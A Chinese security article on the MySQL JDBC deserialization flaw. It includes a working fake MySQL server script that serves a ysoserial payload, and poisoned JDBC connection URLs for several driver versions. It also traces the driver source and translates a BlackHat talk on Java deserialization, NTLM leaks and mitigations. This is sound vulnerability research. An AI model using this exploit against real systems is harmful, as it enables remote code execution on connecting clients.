探探JDBC反序列化漏洞-安全KER

作者：苏宇@涂鸦智能安全实验室

漏洞复现

文章开始，先带大家复现JDBC反序列化漏洞
我修改了原文：https://xz.aliyun.com/t/8159 的mysql恶意服务启动代码，如下

# -*- coding:utf-8 -*-
import socket
import binascii
import os
import sys
import subprocess

def receive_data(conn):
    data = conn.recv(1024)
    return str(data).lower()
def send_data(conn,data):
    conn.send(binascii.a2b_hex(data))
def trans(s):
    return "%s" % ''.join('%.2x' % x for x in s)
def run():
    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))
        send_data(conn,"4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400")
        while True:
            receive_data(conn)
            send_data(conn,"0700000200000002000000")
            data=receive_data(conn)
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, "0700000200000002000000")
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, "0700000200000002000000")
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break
if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3306
    popen = subprocess.Popen(['java','-jar', 'ysoserial.jar', 'CommonsCollections7', "open /System/Applications/Calculator.app"], stdout=subprocess.PIPE)
    payload_content=trans(popen.stdout.read())
    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)
    print("start fake mysql server listening on {}:{}".format(HOST,PORT))
    run()

python脚本目录下放置：ysoserial.jar即可，具体可根据自己的需要自定义

打exp之前准备3个文件：

mysql-connector-java-8.0.11.jar
commons-collections-3.2.1.jar
JDBCRce.java

JDBCRce代码如下：

import java.sql.*;

public class JDBCRce {
    public static void main(String[] args) throws Exception{
        String driver = "com.mysql.cj.jdbc.Driver";
        // String driver = "com.mysql.jdbc.Driver";//
        String DB_URL = "jdbc:mysql://127.0.0.1:3306/mysql?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";//8.x-8.0.19
        // String DB_URL = "jdbc:mysql://127.0.0.1:3306/mysql?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";//6.x(属性名不同)
        // String DB_URL = "jdbc:mysql://127.0.0.1:3306/mysql?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor";//5.1.11及以上的5.x版本（包名没有了cj）5.1.10及以下的5.1.X版本需要连接后执行查询。
        // String DB_URL = "jdbc:mysql://127.0.0.1:3306/mysql?detectCustomCollations=true&autoDeserialize=true"//5.1.29-5.1.40
        // String DB_URL = "jdbc:mysql://127.0.0.1:3306/mysql?autoDeserialize=true"//5.1.28-5.1.19
        Class.forName(driver);
        Connection conn = DriverManager.getConnection(DB_URL);
            }
}

运行python脚本后，再执行

javac -cp .:mysql-connector-java-8.0.19.jar:commons-collections-3.2.1.jar JDBCRce.java
java -cp .:mysql-connector-java-8.0.19.jar:commons-collections-3.2.1.jar JDBCRce

漏洞跟踪

1.搜索.readObject

    @Override
    public Object getObject(int columnIndex) throws SQLException {
      ... ...
case BLOB:
                if (field.isBinary() || field.isBlob()) {
                    byte[] data = getBytes(columnIndex);

                    if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
                        Object obj = data;

                        if ((data != null) && (data.length >= 2)) {
                            if ((data[0] == -84) && (data[1] == -19)) {
                                // Serialized object?
                                try {
                                    ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                                    ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                                    obj = objIn.readObject();
                                    objIn.close();
                                    bytesIn.close();
                                } catch (ClassNotFoundException cnfe) {
                                    throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()
                                            + Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());
                                } catch (IOException ex) {
                                    obj = data; // not serialized?
                                }
                            } else {
                                return getString(columnIndex);
                            }
                        }

                        return obj;
                    }

                    return data;
                }

                return getBytes(columnIndex);

调用getObject的方法

com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()

JDBC连接数据库的过程中，会运行查询语句SHOW SESSION STATUS

设置autoDeserialize 为true,就可以进入到readObject.

(议题翻译)Java反序列化攻击中的新利用技术

这个漏洞是BlackHat Europe 2019会议中Back2Zero Team的议题，我花了点时间翻译了下

大纲：

• Java反序列化的介绍

• 常见修复方案

• Java中的严重漏洞

• URLConnection

• JDBC

• Java反序列化的新攻击

• Takeaways

Java反序列化的介绍

序列化：

将Java对象转换为字节流的过程

反序列化：

从字节流创建Java对象的相反过程

如何利用？

·远程方法调用

·通过网络将对象传输到远程系统

·将对象存储在数据库或本地文件中以利用。

攻击场景

1.远程服务接受不可信的数据进行反序列化

2.应用程序的类路径包括可序列化的类

3.可序列化类的回调中存在危险函数

魔术回调

魔术方法将在反序列化进程中doing调用

• readObject()

• readExternal()

• readResolve()

• readObjectNoData()

• validateObject()

• finalize()

含漏洞的类

public class DiskFileItem extends Serializable

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
 in.defaultReadObject();
 OutputStream output = this.getOutputStream();
 if (this.cachedContent != null) {
 output.write(this.cachedContent);
 } else {
 FileInputStream input = new FileInputStream(this.dfosFile);
 IOUtils.copy(input, output);
 this.dfosFile.delete();
 this.dfosFile = null;
 }
 output.close();
 this.cachedContent = null;
}
Vulnerable Class
p

常见修复方案

黑名单检查

在反序列化过程中验证输入流，如果在反序列化过程中找到了黑名单中的类，则反序列化过程将终止

• SerialKiller

• Jackson

• Weblogic

JEP290 (过滤传入的序列化数据)

•允许对传入的对象序列化数据流进行过滤，以提高安全性

•定义可以由属性或配置文件配置的全局过滤器。

•在反序列化过程中将调用filter接口方法，以验证要反序列化的类。过滤器返回接受，拒绝或保留未确定，允许或禁止状态的状态。

jre/lib/security/java.security

jdk.serialFilter=pattern;pattern
jdk.serialFilter=!sun.rmi.server.**;
jdk.serialFilter=!org.codehaus.groovy.runtime.**;
jdk.serialFilter=org.apache.commons.beanutils.BeanComparator
jdk.serialFilter=!org.codehaus.groovy.runtime.MethodClosure

运行时应用程序自我保护（RASP）

RASP是一种内置或链接到应用程序或应用程序运行时环境中的安全技术，能够控制应用程序的执行并检测和防止实时攻击

Java-Agent

•为应用程序提供检测功能的软件组件。

•无需构建模式列表（黑名单）来与有效载荷相匹配，因为它们通过设计提供保护。

•RASP的大多数策略仅集中于不安全的反序列化攻击，这些攻击试图执行命令并使用网络请求提供的输入数据。

防御方式的缺陷

•依赖黑名单：找到新的gadget绕过
•安全研究者乐于寻找能够调用危险命令执行功能的gadget，比如Processbuider.exec
•修复方案仅关注常见的微信命令执行功能：如果我们在java中找到一个新的基本向量，那么我们就能发现很多新的gadaget同时绕过大部分修复。

我们的目标

   •Java中的新向量
   •远程命令执行
   •基础类

Java中的严重漏洞

URLConnection

•它包含许多方法，可让您与URL进行通信。
•代表应用程序和URL之间的通信链接的所有类的超类。
•大多数Java本机函数或应用程序将使用URLConnection发送HTTP请求。

通过调用JNI函数，URLConnection最终将调用Windows API initsecuritycontext，该函数是获取本地Windows凭据的函数。

Java的默认行为不会判断URL的有效性，但始终返回true。

static class DefaultNTLMAuthenticationCallback extends NTLMAuthenticationCallback{
 DefaultNTLMAuthenticationCallback() {
 public boolean isTrustedSite(URL var1) {
 return true;
 }
 }

NTLM反射攻击（ CVE-2019-1040）

NTLM身份验证

•远程服务的网络身份验证
•质询响应身份验证机制
•Windows上的NTLM安全支持提供程序支持
•NTLMv1 / NTLMv2 / NTLM2会话
•HTTP，SMB，LDAP，MSSQL等

时间线

MS08-068
• Patch for SMB->SMB Reflection Attack
• Can not stop Attacker from relaying the Net-NTLM Hash to another machine or Perform
Cross-Protocol Reflection attack.

MS16-075
• Patch for HTTP->SMB Reflection Attack(HotPotato)

Java中的严重漏洞

JDBC

Java数据库连接

什么是JDBC

• Java Standard Edition平台的一部分。
• Java API，它定义客户端如何访问数据库。

为什么用JDBC

• 建立与数据库的连接。
• 对数据库执行查询并更新语句。
• 从数据库检索结果。

public static void main(String[] args) throws Exception{
 String DB_URL = "jdbc:mysql://127.0.0.1:3306/sectest?var=value";
 Driver driver = new com.mysql.jdbc.Driver();
 //Make a database connection
 Connection conn = driver.connect(DB_URL, props);
 Statement stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,….);
}

Java数据库连接

连接数据库URL

jdbc://driver://host:端口/database?配置name1=配置Value1&配置name2=配置Value2。。。

参数

•配置属性定义了如何与MySQL服务器建立连接。
•配置name=配置Value表示一个可选的属性列表。
•这些属性使您可以指示MySQL连接时执行各种任务。

参数	含义
loadDataLocal	Server asked for stream in response to LOAD DATA LOCAL INFILE
requireSSL	Require server support of SSL connection if useSSL=true
socksProxyHost	Name or IP address of SOCKS host to connect through
useAsyncProtocol	Use asynchronous variant of X Protocol
useServerPrepStmts	Use server-side prepared statements if the server supports them
allowUrlInLoadLocal	Should the driver allow URLs in ‘LOAD DATA LOCAL INFILE’ statements

危险参数

autoDeserialize

•驱动程序是否应该自动检测同时对存储在BLOB字段中的对象进行反序列化？
•需要先调用getObject函数。

public Object getObject(int columnIndex) throws SQLException {
……
case BLOB:
 if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
 Object obj = data;
 // Serialized object?
 try {
 ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
 ObjectInputStream objIn = new ObjectInputStream(bytesIn);
 obj = objIn.readObject();
 }
 }
}

queryInterceptors

QueryInterceptor的实现逗号分隔的列表，应将其放置在执行查询的中间来影响结果

com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

•queryInterceptors调用getObject

•autoDeserialize允许反序列化来自服务器的数据

攻击JDBC的步骤

1.攻击者建立了数据库服务

2.攻击者向JDBC URI投毒

3.受害者与攻击者建立JDBC连接

4.将有效载荷返回受害者

合并3个漏洞并导致RCE

1.利用反序列化漏洞触发HTTP请求。
2.URLConnection的NTLM HASH泄漏漏洞（CVE-2019-2426）
3.执行NTLM反射攻击的新技术（CVE-2019-1040）

案例

反序列化漏洞

新的受害者

1.URLConnection

•NTLM泄漏（CVE-2019-2426）
•NTLM反射攻击的新技术（CVE-2019-1040）

2.JDBC

•Mysql驱动RCE
•JDBC驱动中的NTLM泄漏漏洞

建议

•开发者

•不要反序列化不受信任的数据
•不要将HTTP请求发送到不受信任的服务器（如果客户端在Windows上）
•不要通过JDBC连接到不受信任的数据库
•加密序列化的字节码

•安全研究员

•使用黑名单时，请仔细审核安全策略。尝试使用白名单来减轻风险。 
•使用这两个向量对应用程序进行fuzz。 
•静态分析可以轻松找到JDBC漏洞。

漏洞悬赏计划：涂鸦智能安全响应中心 (https://src.tuya.com) 欢迎白帽子来探索。
招聘内推计划：涵盖安全开发、安全测试、代码审计、安全合规等所有方面的岗位，简历投递sec@tuya.com，请注明来源。

探探JDBC反序列化漏洞

译文声明

漏洞复现

漏洞跟踪

(议题翻译)Java反序列化攻击中的新利用技术

大纲：

Java反序列化的介绍

攻击场景

魔术回调

含漏洞的类

常见修复方案

防御方式的缺陷

Java中的严重漏洞

NTLM反射攻击（ CVE-2019-1040）

Java中的严重漏洞

Java数据库连接

案例

建议

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